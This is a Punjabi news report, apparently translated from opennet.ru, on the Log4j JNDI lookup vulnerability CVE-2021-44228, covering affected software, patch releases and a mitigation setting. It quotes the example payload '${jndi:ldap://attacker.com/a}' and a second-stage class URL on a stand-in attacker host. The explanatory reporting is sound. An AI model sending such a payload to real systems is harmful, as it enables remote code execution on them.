Apache Log4j ਵਿੱਚ ਘਾਤਕ ਕਮਜ਼ੋਰੀ ਬਹੁਤ ਸਾਰੇ Java ਪ੍ਰੋਜੈਕਟਾਂ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਕਰਦੀ ਹੈ

Apache Log4j, Java ਐਪਲੀਕੇਸ਼ਨਾਂ ਵਿੱਚ ਲੌਗਿੰਗ ਨੂੰ ਸੰਗਠਿਤ ਕਰਨ ਲਈ ਇੱਕ ਪ੍ਰਸਿੱਧ ਫਰੇਮਵਰਕ ਵਿੱਚ, ਇੱਕ ਨਾਜ਼ੁਕ ਕਮਜ਼ੋਰੀ ਦੀ ਪਛਾਣ ਕੀਤੀ ਗਈ ਹੈ ਜੋ ਲੌਗ ਵਿੱਚ “{jndi:URL}” ਫਾਰਮੈਟ ਵਿੱਚ ਵਿਸ਼ੇਸ਼ ਰੂਪ ਵਿੱਚ ਫਾਰਮੈਟ ਕੀਤੇ ਮੁੱਲ ਨੂੰ ਲਿਖੇ ਜਾਣ 'ਤੇ ਆਰਬਿਟਰਰੀ ਕੋਡ ਨੂੰ ਲਾਗੂ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ। ਹਮਲਾ ਜਾਵਾ ਐਪਲੀਕੇਸ਼ਨਾਂ 'ਤੇ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ ਜੋ ਬਾਹਰੀ ਸਰੋਤਾਂ ਤੋਂ ਪ੍ਰਾਪਤ ਮੁੱਲਾਂ ਨੂੰ ਲੌਗ ਕਰਦੇ ਹਨ, ਉਦਾਹਰਨ ਲਈ, ਗਲਤੀ ਸੁਨੇਹਿਆਂ ਵਿੱਚ ਸਮੱਸਿਆ ਵਾਲੇ ਮੁੱਲਾਂ ਨੂੰ ਪ੍ਰਦਰਸ਼ਿਤ ਕਰਦੇ ਸਮੇਂ।

ਇਹ ਨੋਟ ਕੀਤਾ ਗਿਆ ਹੈ ਕਿ ਅਪਾਚੇ ਸਟ੍ਰਟਸ, ਅਪਾਚੇ ਸੋਲਰ, ਅਪਾਚੇ ਡਰੂਇਡ ਜਾਂ ਅਪਾਚੇ ਫਲਿੰਕ ਵਰਗੇ ਫਰੇਮਵਰਕ ਦੀ ਵਰਤੋਂ ਕਰਨ ਵਾਲੇ ਲਗਭਗ ਸਾਰੇ ਪ੍ਰੋਜੈਕਟ ਸਮੱਸਿਆ ਨਾਲ ਪ੍ਰਭਾਵਿਤ ਹੁੰਦੇ ਹਨ, ਜਿਸ ਵਿੱਚ ਸਟੀਮ, ਐਪਲ ਆਈਕਲਾਉਡ, ਮਾਇਨਕਰਾਫਟ ਕਲਾਇੰਟਸ ਅਤੇ ਸਰਵਰ ਸ਼ਾਮਲ ਹਨ। ਇਹ ਉਮੀਦ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਕਿ ਕਮਜ਼ੋਰੀ ਕਾਰਪੋਰੇਟ ਐਪਲੀਕੇਸ਼ਨਾਂ 'ਤੇ ਵੱਡੇ ਹਮਲਿਆਂ ਦੀ ਇੱਕ ਲਹਿਰ ਦੀ ਅਗਵਾਈ ਕਰ ਸਕਦੀ ਹੈ, ਅਪਾਚੇ ਸਟ੍ਰਟਸ ਫਰੇਮਵਰਕ ਵਿੱਚ ਨਾਜ਼ੁਕ ਕਮਜ਼ੋਰੀਆਂ ਦੇ ਇਤਿਹਾਸ ਨੂੰ ਦੁਹਰਾਉਂਦੇ ਹੋਏ, ਜੋ ਕਿ ਇੱਕ ਮੋਟੇ ਅੰਦਾਜ਼ੇ ਅਨੁਸਾਰ, ਵੈਬ ਐਪਲੀਕੇਸ਼ਨਾਂ ਵਿੱਚ ਫਾਰਚੂਨ ਦੇ 65% ਦੁਆਰਾ ਵਰਤੀ ਜਾਂਦੀ ਹੈ. 100 ਕੰਪਨੀਆਂ। ਕਮਜ਼ੋਰ ਸਿਸਟਮਾਂ ਲਈ ਨੈੱਟਵਰਕ ਨੂੰ ਸਕੈਨ ਕਰਨ ਦੀਆਂ ਕੋਸ਼ਿਸ਼ਾਂ ਸਮੇਤ।

ਸਮੱਸਿਆ ਇਸ ਤੱਥ ਤੋਂ ਵਧ ਗਈ ਹੈ ਕਿ ਇੱਕ ਕਾਰਜਸ਼ੀਲ ਸ਼ੋਸ਼ਣ ਪਹਿਲਾਂ ਹੀ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤਾ ਜਾ ਚੁੱਕਾ ਹੈ, ਪਰ ਸਥਿਰ ਸ਼ਾਖਾਵਾਂ ਲਈ ਫਿਕਸ ਅਜੇ ਵੀ ਸੰਕਲਿਤ ਨਹੀਂ ਕੀਤੇ ਗਏ ਹਨ. CVE ਪਛਾਣਕਰਤਾ ਅਜੇ ਤੱਕ ਨਿਰਧਾਰਤ ਨਹੀਂ ਕੀਤਾ ਗਿਆ ਹੈ। ਫਿਕਸ ਸਿਰਫ log4j-2.15.0-rc1 ਟੈਸਟ ਸ਼ਾਖਾ ਵਿੱਚ ਸ਼ਾਮਲ ਹੈ। ਕਮਜ਼ੋਰੀ ਨੂੰ ਰੋਕਣ ਲਈ ਇੱਕ ਹੱਲ ਵਜੋਂ, log4j2.formatMsgNoLookups ਪੈਰਾਮੀਟਰ ਨੂੰ ਸਹੀ 'ਤੇ ਸੈੱਟ ਕਰਨ ਦੀ ਸਿਫਾਰਸ਼ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।

ਸਮੱਸਿਆ ਇਸ ਤੱਥ ਦੇ ਕਾਰਨ ਹੋਈ ਸੀ ਕਿ log4j ਲੌਗ ਲਈ ਲਾਈਨ ਆਉਟਪੁੱਟ ਵਿੱਚ ਵਿਸ਼ੇਸ਼ ਮਾਸਕ "{}" ਨੂੰ ਪ੍ਰੋਸੈਸ ਕਰਨ ਦਾ ਸਮਰਥਨ ਕਰਦਾ ਹੈ, ਜਿਸ ਵਿੱਚ JNDI (ਜਾਵਾ ਨੇਮਿੰਗ ਅਤੇ ਡਾਇਰੈਕਟਰੀ ਇੰਟਰਫੇਸ) ਪੁੱਛਗਿੱਛਾਂ ਨੂੰ ਚਲਾਇਆ ਜਾ ਸਕਦਾ ਹੈ। ਹਮਲਾ "${jndi:ldap://attacker.com/a}" ਦੇ ਬਦਲ ਨਾਲ ਇੱਕ ਸਤਰ ਨੂੰ ਪਾਸ ਕਰਨ ਲਈ ਉਬਾਲਦਾ ਹੈ, ਜਿਸ ਦੀ ਪ੍ਰਕਿਰਿਆ ਕਰਨ 'ਤੇ log4j ਹਮਲਾਵਰ.com ਸਰਵਰ ਨੂੰ Java ਕਲਾਸ ਦੇ ਮਾਰਗ ਲਈ ਇੱਕ LDAP ਬੇਨਤੀ ਭੇਜੇਗਾ। . ਹਮਲਾਵਰ ਦੇ ਸਰਵਰ ਦੁਆਰਾ ਵਾਪਸ ਕੀਤਾ ਗਿਆ ਮਾਰਗ (ਉਦਾਹਰਨ ਲਈ, http://second-stage.attacker.com/Exploit.class) ਮੌਜੂਦਾ ਪ੍ਰਕਿਰਿਆ ਦੇ ਸੰਦਰਭ ਵਿੱਚ ਲੋਡ ਅਤੇ ਐਗਜ਼ੀਕਿਊਟ ਕੀਤਾ ਜਾਵੇਗਾ, ਜੋ ਹਮਲਾਵਰ ਨੂੰ ਆਰਬਿਟਰੇਰੀ ਕੋਡ ਨੂੰ ਚਲਾਉਣ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ। ਮੌਜੂਦਾ ਐਪਲੀਕੇਸ਼ਨ ਦੇ ਅਧਿਕਾਰਾਂ ਵਾਲਾ ਸਿਸਟਮ।

ਜੋੜ 1: ਕਮਜ਼ੋਰੀ ਨੂੰ ਪਛਾਣਕਰਤਾ CVE-2021-44228 ਨਿਰਧਾਰਤ ਕੀਤਾ ਗਿਆ ਹੈ।

ਐਡੈਂਡਮ 2: ਰੀਲੀਜ਼ log4j-2.15.0-rc1 ਦੁਆਰਾ ਜੋੜੀ ਗਈ ਸੁਰੱਖਿਆ ਨੂੰ ਬਾਈਪਾਸ ਕਰਨ ਦਾ ਤਰੀਕਾ ਪਛਾਣਿਆ ਗਿਆ ਹੈ। ਇੱਕ ਨਵਾਂ ਅਪਡੇਟ, log4j-2.15.0-rc2, ਕਮਜ਼ੋਰੀ ਦੇ ਵਿਰੁੱਧ ਵਧੇਰੇ ਸੰਪੂਰਨ ਸੁਰੱਖਿਆ ਦੇ ਨਾਲ ਪ੍ਰਸਤਾਵਿਤ ਕੀਤਾ ਗਿਆ ਹੈ। ਕੋਡ ਗਲਤ ਢੰਗ ਨਾਲ ਫਾਰਮੈਟ ਕੀਤੇ JNDI URL ਦੀ ਵਰਤੋਂ ਕਰਨ ਦੇ ਮਾਮਲੇ ਵਿੱਚ ਇੱਕ ਅਸਧਾਰਨ ਸਮਾਪਤੀ ਦੀ ਅਣਹੋਂਦ ਨਾਲ ਸੰਬੰਧਿਤ ਤਬਦੀਲੀ ਨੂੰ ਉਜਾਗਰ ਕਰਦਾ ਹੈ।

ਸਰੋਤ: opennet.ru